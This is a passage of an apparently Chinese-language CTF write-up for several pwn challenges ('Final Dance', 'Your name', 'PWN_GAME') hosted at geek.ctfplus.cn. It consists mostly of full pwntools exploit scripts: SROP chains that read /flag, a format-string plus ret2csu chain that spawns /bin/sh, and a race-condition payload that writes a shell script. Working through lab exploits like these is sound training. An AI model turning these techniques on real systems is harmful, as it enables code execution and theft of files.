payload = b'A'*0x70 payload += p64(rbp1) payload += p64(pie + 0x001584) payload += p64(rbp2 - 0x10) payload += p64(pie + 0x001584) s(payload)
# s(p64(0) + p8(0x7f)) s(p64(0) + p8(0x32))
sleep(2)
# --------------------------
payload = b'A'*0x80 payload += p64(rbp2) payload += p64(pie + 0x001584) s(payload)
frame = SigreturnFrame() frame.rax = 2 frame.rdi = rbp1 - 0x18 frame.rsi = 0 frame.rdx = 0 frame.r12 = rbp1 frame.rbp = rbp3 - 8 - 0x340 frame.rsp = rbp3 frame.rip = pie + 0x00159C # ret
s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))
# debug('b *0x15555552d032') payload = b'A'*0x68 payload += b'/flag\x00\x00\x00' payload += p64(rbp3 - 0x8) payload += p64(pie + 0x00159B) payload += p64(rbp2 + 0x80) payload += p64(pie + 0x001584) s(payload)
s(bytes(frame)[0x80:].ljust(0x80, b'\x00') + p64(rbp1 - 0x10) + p64(pie + 0x001584))
s(b'A'*15) log.success('open') sleep(5)
# --------------------------
payload = b'A'*0x80 payload += p64(rbp2) payload += p64(pie + 0x001584) s(payload)
frame = SigreturnFrame() frame.rax = 0 frame.rdi = 1 frame.rsi = rbp1 + 0x20 frame.rdx = 0x40 frame.r12 = rbp1 frame.rbp = rbp3 - 8 - 0x340 frame.rsp = rbp3 frame.rip = pie + 0x00159C # ret
s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))
# debug('b *0x15555552d032') payload = b'A'*0x70 payload += p64(rbp3 - 0x8) payload += p64(pie + 0x00159B) payload += p64(rbp2 + 0x80) payload += p64(pie + 0x001584) s(payload)
s(bytes(frame)[0x80:].ljust(0x80, b'\x00') + p64(rbp1 - 0x10) + p64(pie + 0x001584))
s(b'A'*15) log.success('read') sleep(5)
# --------------------------
payload = b'A'*0x80 payload += p64(rbp2) payload += p64(pie + 0x001584) s(payload)
frame = SigreturnFrame() frame.rax = 1 frame.rdi = 2 frame.rsi = rbp1 + 0x20 frame.rdx = 0x40 frame.r12 = rbp1 frame.rbp = rbp3 - 8 - 0x340 frame.rsp = rbp3 frame.rip = pie + 0x00159C # ret
s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))
# debug('b *0x15555552d032') payload = b'A'*0x70 payload += p64(rbp3 - 0x8) payload += p64(pie + 0x00159B) payload += p64(rbp2 + 0x80) payload += p64(pie + 0x001584) s(payload)
s(bytes(frame)[0x80:].ljust(0x80, b'\x00') + p64(rbp1 - 0x10) + p64(pie + 0x001584))
s(b'A'*15) log.success('write')
itr()
for i in range(20): try: solve() except: passMission Final Dance
本地关闭aslr,方便调试
首先对0x4006e0断点,看它是怎么被定位的
如图所示,从elf中读入了fini_array起始位置,并从0x155555427168读入了一个偏移

而这个地址刚好残留在栈上,用printf修改偏移,并在buf写入vuln地址
进入vuln,然后ret2csu
from pwn import *
context(arch='amd64', os='linux')context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)libc = ELF('./libc.so.6')
choice = 0if choice: port = 31635 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file, aslr=False)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
ru(b'dance!\n')
# debug()debug('b *0x155555210df9\nc\n')
payload = f'%{0x601060+0x98-0x600DD8}c%24$hn%7$p'.encode()s(payload.ljust(0x88, b'\x00') + p64(0x400854) + b'/bin/sh\x00' + p64(0x400726))
ru(b'0x')libc_base = int(r(12).decode(), 16) - (libc.sym['__libc_start_main'] + 240)leak('libc_base')
payload = b'A'*(0x20+8)payload += p64(0x40083A)payload += p64(0)payload += p64(1)payload += p64(0x601060+0x88)payload += p64(0)payload += p64(0)payload += p64(0x601060+0x90)payload += p64(0x400820)payload += p64(0)payload += p64(0)payload += p64(0)payload += p64(0)payload += p64(0)payload += p64(0)payload += p64(0)payload += p64(libc_os(libc.sym['execve']))
s(payload)
itr()Your name
条件竞争,thread_arg是全局变量
如果在一个线程确定要进入op_write_file后,把thread_arg.op.index改为0,就可以对./log修改
再执行./log
from pwn import *
context.log_level = 'debug'
# p = process('./yourName')p = remote("geek.ctfplus.cn", 30185)
payload = b'['
for i in range(10): payload += b'{"index":1, "buf":"' payload += b'#!/bin/sh\n/bin/sh' + b'\n'*5 payload += b'"},'
for i in range(1): payload += b'{"index":0, "buf":"' payload += b'#!/bin/sh\n/bin/sh' + b'\n'*5 payload += b'"},'
payload = payload.removesuffix(b',')payload += b']'
p.recvuntil(b'>>')
p.send(payload)
p.interactive()PWN_GAME
文件名存在溢出,可以改出生点到边界外

把右下角O推到1处,再用@把它推到2处
这样,S就同时具有了is_push和is_you属性
接着,把两个S搞到3和4的位置,I就同时具有了is_push和is_you属性
用一个I把X填了,两个I走到右上角位置
由于step_game从上到下,从左到右执行
第一个I把第二个I推到第二行第一列
然后第二个I自己走一步,成功到6,win!
from pwn import *
context(arch='amd64', os='linux')# context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']file = './pwn'elf = ELF(file)# libc = ELF('./libc.so.6')
choice = 0if choice: port = 31566 target = 'geek.ctfplus.cn' p = remote(target, port)else: p = process(file)
def debug(cmd=''): if choice==1: return gdb.attach(p, gdbscript=cmd)
s = lambda data :p.send(data)sl = lambda data :p.sendline(data)sa = lambda x,data :p.sendafter(x, data)sla = lambda x,data :p.sendlineafter(x, data)r = lambda num=4096 :p.recv(num)rl = lambda num=4096 :p.recvline(num)ru = lambda x :p.recvuntil(x)itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4,b'\x00'))uu64 = lambda data :u64(data.ljust(8,b'\x00'))uru64 = lambda :uu64(ru('\x7f')[-6:])leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))libc_os = lambda x :libc_base + x
payload = b'hard.y'.ljust(62, b'\x00') + b'\n's(payload)
# sassssssaaaaasdddddwds# sassssssaaaaasdddddwdsssdddsdsssssaasasssssdddddaaadssdswwdd
itr()